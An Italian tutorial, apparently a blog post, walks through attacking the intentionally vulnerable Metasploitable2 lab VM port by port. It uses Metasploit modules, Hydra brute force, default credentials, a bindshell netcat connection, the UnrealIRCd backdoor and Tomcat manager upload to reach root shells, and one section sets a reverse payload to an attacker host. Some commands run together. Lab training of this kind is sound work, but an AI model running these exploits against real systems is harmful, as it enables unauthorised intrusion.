- Panoramica completa di Metasploitable2
- Sfruttare tutte le porte con tecniche diverse:
- 22-SSH
- 23-TELNET
- 25-SMTP
- Metodo 2
- 139&445 Netbios-SSN
- 1099-Java-RMI
- Exploiting java-RMI-server
- 1524-BINDSHELL
- Exploitation
- 2121-ProFTPD
- 3306-MYSQL
- 3632-DISTCCD
- Sfruttare la porta 3632 usando distcc-exec
- Sfruttare PostgreSQL con postgre_payload
- 5900-VNC
- 6000-X11
- Sfruttare la porta 6000 usando ssh
- 6667 & 6697 UnrealIRCD
- Metodo 1: sulla porta 6667
- Metodo 2: Sulla porta 6697
- 8180-TOMCAT
- Sfruttare Apache-Tomcat
- 8787-Ruby-drb
Panoramica completa di Metasploitable2
Metasploitable è una macchina virtuale Linux intenzionalmente vulnerabile.
Questa VM può essere usata per condurre training di sicurezza, testare strumenti di sicurezza, e praticare tecniche comuni di penetration testing.
Installazione e configurazione
Siamo qui per sfruttare Metasploitable 2 (macchina dannatamente vulnerabile per i test di penetrazione)
Prendi questa macchina Metasploiable2 da https://information.rapid7.com/download-metasploitable-2017.html
Processo di installazione:
- Aprire VirtualBox e cliccare sul pulsante “Nuovo” per creare una nuova macchina virtuale
- Tipo il nome della macchina virtuale (Metasploitable2)
- Allocare la quantità di memoria (preferibile ma non inferiore a 512mb)
- Selezionare Utilizzare un file esistente del disco rigido
- Selezionare il file vmdk che avete scaricato da Rapid7
- Cliccare su Crea…!!! Metasploitable2 installato con successo, ora è il momento di configurare le impostazioni di rete.
Dopo l’installazione cambia le impostazioni dell’adattatore di rete come segue:
In-Network Setting: Impostazioni/Rete/Adattatore Seleziona Ethernet o Wireless
Nella scheda Avanzate Seleziona: Promiscuous Mode as Allow All
Riavvia la macchina Metasploitable2 e prova ad accedere usando le credenziali date su Banner…!!!
Trova l’indirizzo IP della macchina usando il seguente nel terminale
ifconfig
Questo è tutto per la configurazione….Iniziamo ad hackerare…
Scansione
Scansione del Matasploitable 2
Come abbiamo notato l’indirizzo IP della macchina è 192.168.0.130
Iniziamo la scansione con Nmap che fa parte di Kali Linux
nmap -sV -p- 192.168.0.130
set RHOSTS 192.168.0.130 --> <target IP address>exploit
Congratulazioni hai avuto accesso come root
22-SSH
Secure Shell (SSH) è un protocollo di rete crittografico per operare servizi di rete in modo sicuro su una rete non protetta.
Sfruttamento di SSH con diverse tecniche
Metodo 1
Cracking di nome utente e password con Hydra
Hydra è uno strumento integrato in Kali-Linux usato per l’attacco Brute force è un metodo di prova ed errore usato dai programmi applicativi per decodificare dati criptati come password o chiavi Data Encryption Standard (DES), attraverso uno sforzo esaustivo (usando la forza bruta) piuttosto che impiegare strategie intellettuali.
hydra -L <Usernames_List> -P <Passwords_List> <Target ip address> <Service>
Metodo 2
Aprire Metasploit framework
Aprire il terminale e digitare questi comandi :
service postgresql startmsfconsolesearch ssh_loginuse auxiliary/scanner/ssh/ssh_login
impostare questo ausiliare e vedere cosa richiede.
set RHOSTS <target IP Address> --> in my case 192.168.0.130
Imposta la lista predefinita di nomi utente e password
set USER_FILE <Username file Path>set PASS_FILE <Password file Path>exploit
Prenderà in base al tempo i tuoi nomi utente e le password della lista e notificherà con username: password e login con quelle credenziali.
ssh username@targetipaddress
Hai accesso come utente, non puoi eseguire tutti i compiti quindi cerca di ottenere l’accesso come root facendo l’escalation dei privilegi.
23-TELNET
Telnet è un semplice protocollo di rete basato sul testo che viene utilizzato per accedere a computer remoti su reti TCP/IP come Internet. Telnet è stato creato e lanciato nel 1969 e, storicamente parlando, si può dire che è stato il primo Internet.
telnet <target IP Address> --> 192.168.0.130
Di default Grab Metasploitable 2 banner, mostra che Accedi con msfadmin/msfadmin per iniziare. Basta inserire quelle credenziali e sei dentro.
25-SMTP
SMTP fa parte del livello di applicazione del protocollo TCP/IP. Utilizzando un processo chiamato “store and forward”, SMTP sposta le tue e-mail su e attraverso le reti. Lavora a stretto contatto con qualcosa chiamato Mail Transfer Agent (MTA) per inviare la tua comunicazione al giusto computer e casella di posta elettronica.
Metodo 1:
Utilizzando Metasploit
Avvia Metasploit eseguendo i comandi
service postgresql startmsfconsole -qsearch smtp_version
use auxiliary/scanning/smtp/smtp_version (or) you can type use 0show optionsset RHOST 192.168.0.130exploit (or) runshow optionsset RHOST 192.168.0.130exploit (or) run
SMTP sta per Simple Mail Transport Protocol ed è un protocollo server-to-server e mantiene un database locale di utenti a cui deve inviare e ricevere e-mail.
SMTP ha una serie di comandi. Ci collegheremo al nostro obiettivo con “netcat” attraverso la porta 25 e cercheremo di acquisire questo database di email.
Aprire un nuovo terminale e digitare:
nc 192.168.0.130 25
Ora che la connessione è stabilita si può verificare con i comandi “SMTP”
Type: vrfy user
vrfy (Questa è una shell noninterattiva)
Per i comandi SMTP visitare: http://www.tcpipguide.com/free/t_SMTPCommands-2.htm
Metodo 2
Usando smtp_enum
Questo può essere fatto da Metasploit
search smtp_enum
use auxiliary/scanner/smtp/smtp_enum
show optionsset RHOST 192.168.0.130exploit
Questo metodo sta usando l’enumerazione per trovare questa lista di utenti nel servizio SMTP.
Poi NetCat può essere utile per ottenere una connessione inversa con quell’utente.
139&445 Netbios-SSN
Samba è un progetto open-source che è ampiamente usato sui computer Linux e Unix in modo che possano lavorare con i servizi di file e stampa di Windows.
Possiamo anche usare Samba come server attivo per gestire il login, autenticazione e controllo di accesso per una rete Windows.
Cerca exploit
use exploit/multi/samba/usermap_script
Per visualizzare le opzioni dell’exploit
show optionsSet RHOST192.168.0.130 (Target IP address)
Imposta il carico utile
Show payloadsSet payload cmd/unix/reverse
Imposta gli argomenti richiesti per il carico utile
Show optionsSet LHOST 192.168.0.109 (Attackers IP Address)Set LPORT 4444
Controlla quando tutti gli argomenti richiesti sono riempiti
exploit
1099-Java-RMI
Remote Method Invocation (RMI) è un’API che permette ad un oggetto di invocare un metodo su un oggetto che esiste in un altro spazio di indirizzi, che potrebbe essere sulla stessa macchina o su una macchina remota.
Exploiting java-RMI-server
cerca l’exploit
search java_rmi_server
Scegli l’exploit in base al suo grado. per esempio, “eccellente” funziona meglio di “normale”.
use exploit/multi/misc/java_rmi_servershow optionsset RHOSTS <target's IP>exploit
Abbiamo accesso alla macchina bersaglio.
1524-BINDSHELL
Bind shell è un tipo di shell in cui la macchina bersaglio apre una porta di comunicazione o un listener sulla macchina vittima e aspetta una connessione in entrata. L’attaccante quindi si connette all’ascoltatore della macchina vittima che poi porta all’esecuzione di codice o comando sul server.
Exploitation
È una shell di root quindi possiamo connetterci attraverso il servizio netcat.
nc <target ip address> 1524
Congratulazioni, ora sei un utente root.
2121-ProFTPD
Prima di sfruttare questa porta è necessario avere le credenziali di accesso quindi come sappiamo il metodo si ottiene attraverso la tecnica Brute-force, Possiamo accedere a ProFTPd con telnet, Stiamo usando qui utente: utente.
telnet <Taget IP Address> <Port Number>USER <username>
PASS <password>
È un utente normale, Prova l’Escalation di Privilegio per ottenere il controllo di root.
3306-MYSQL
Metodo 1:
cerca l’exploit
search scanner/mysql/mysql_login
use auxiliary/scanner/mysql/mysql_login
A volte potrebbe esserci la possibilità di avere una password vuota per MySQL. Quindi possiamo sfruttarla direttamente.
Nota: per default, mostra BLANK_PASSWORDS come falso, impostatelo su vero.
set BLANK_PASSWORDS as true
Metodo:2
In questo metodo, stiamo per sfruttare MySQL utilizzando questo comando fornendo il nome utente come root e l’IP dell’obiettivo.
mysql -u root -h <target's IP>
3632-DISTCCD
Distcc è uno strumento per accelerare la compilazione del codice sorgente utilizzando il calcolo distribuito su una rete di computer. Con la giusta configurazione
distcc può ridurre drasticamente il tempo di compilazione di un progetto
Sfruttare la porta 3632 usando distcc-exec
Aprire msfconsole e cercare distcc_exec
search distcc_execshow options
Impostare gli argomenti richiesti per sfruttare
set RHOSTS <target-ip>exploit
Abbiamo accesso alla Shell…prova a fare un’escalation di privilegi per privilegi superiori
Sfruttare PostgreSQL con postgre_payload
Aprire msfconsole & cercare postgres_payload
search postgres_payloaduse exploit/linux/postgres/postgres_payloadshow options
Imposta gli argomenti richiesti per l’exploit
set RHOSTS <target-ip>
Di default, userà il nome utente come postgres
exploit
Successo del login in postgresql…Prendiamo una shell per fare altre cose…
Prova a fare escalation di privilegi…Buon apprendimento..!!!
5900-VNC
Aprire msfconsole e cercare l’exploit vnc_login
search vnc_loginuse auxiliary/scanner/vnc/vnc_login
show optionsset RHOSTS <targets IP>set PASS_FILE <filepath that contains passwords>run (or) exploit
Questo metodo è utilizzato per sfruttare il software VNC ospitato su sistemi operativi Linux o Unix o Windows con vulnerabilità di autenticazione.
Prova a connetterti vnc con quella password
Apri il visualizzatore Vnc nel terminale & Digita l’indirizzo IP e connettiti
un popup di richiesta di login e chiede di fornire le credenziali
Poi inserisci la password e clicca OK.
Voilaaa…!!! hai l’accesso…so cosa stai pensando in questo momento…non fare casino con le cose in giro..Happy Learning.
6000-X11
L’X Window System (aka X) è un sistema a finestre per display bitmap, che è comune sui sistemi operativi basati su UNIX. X fornisce la struttura di base per un ambiente basato su GUI.
Il server remoto X11 accetta connessioni da qualsiasi parte si possa ottenere una connessione Internet. È responsabile dell’accesso alle schede grafiche, ai dispositivi di input e allo schermo di visualizzazione sia sul computer che sul dispositivo wireless.
Sfruttare la porta 6000 usando ssh
ssh -X -l msfadmin 192.168.0.122
Nel comando precedente ‘X’ abilita tutte le porte, fornendo il nome utente e l’IP del bersaglio ci dà la shell
6667 & 6697 UnrealIRCD
UnrealIRCd è un server IRC Open Source che serve migliaia di reti dal 1999. Funziona su Linux, OS X e Windows
UnrealIRCd è un IRCd altamente avanzato con una forte attenzione alla modularità, un file di configurazione avanzato e altamente configurabile. Le caratteristiche principali includono SSL
UnrealIRCd è uno dei demoni IRC più popolari e completi ed è usato sul maggior numero di server IRC
Questo server è descritto come quello con più caratteristiche di sicurezza di qualsiasi server IRC.
Protocolli usati: Internet Relay Chat
Sfruttiamo questo server IRC.
Metodo 1: sulla porta 6667
search unrealircduse exploit/unix/irc/unreal_ircd_3281_backdoorshow options
Imposta gli argomenti richiesti per sfruttare
set RHOSTS <target-ip>
per default il numero di porta 6667 è assegnato a exploit
run (or) exploit
Heyyy…Abbiamo la radice…Stiamo vivendo sul bordo…
Metodo 2: Sulla porta 6697
Usa l’exploit di cui sopra e imposta gli argomenti richiesti
- Questa volta imposta la porta come 6697
set RHOSTS <target-ip>set RPORT 6697
E anche la seconda volta abbiamo ottenuto root…Prova a sfruttare questo… Buon apprendimento
8180-TOMCAT
Apache Tomcat è un’implementazione open-source delle tecnologie Java Servlet, JavaServer Pages, Java Expression Language e WebSocket. Tomcat fornisce un ambiente web server HTTP “puro Java” in cui il codice Java può essere eseguito.
Sfruttare Apache-Tomcat
Può essere completato in due passi:
Aprire msfconsole & cercare tomcat_mgr_login
search tomcat_mgr_loginset RHOSTS <target-ip>
show options
Exploit assegnerà nomi utente predefiniti &liste di password. Dopo aver impostato gli argomenti per exploit Type exploit (o) run
run
Prende lo stesso nome utente e password e lo dà al prossimo exploit.
cercare tomcat manager exploit
search tomcat_mgr_uploaduse exploit/multi/http/tomcat_mgr_uploadshow options
Impostare RHOSTS, RPORT, e HttpPassword, HttpUsername che abbiamo ottenuto da tomcat login exploit e poi eseguire l’exploit.
msfconsole potrebbe assegnare il payload adatto per un exploit, ecco perché abbiamo meterpreter…
8787-Ruby-drb
dRuby è un sistema a oggetti distribuito per Ruby. È scritto in puro Ruby e usa il suo protocollo.
Non sono necessari servizi aggiuntivi oltre a quelli forniti dal runtime di Ruby, come i socket TCP.
search drb_remote_codeexec
Imposta gli argomenti richiesti per sfruttare
show optionsset RHOSTS <target-ip>exploit (or) run
Congratulazioni hai ottenuto l’accesso alla shell di root…prova a usare alcuni comandi di shell.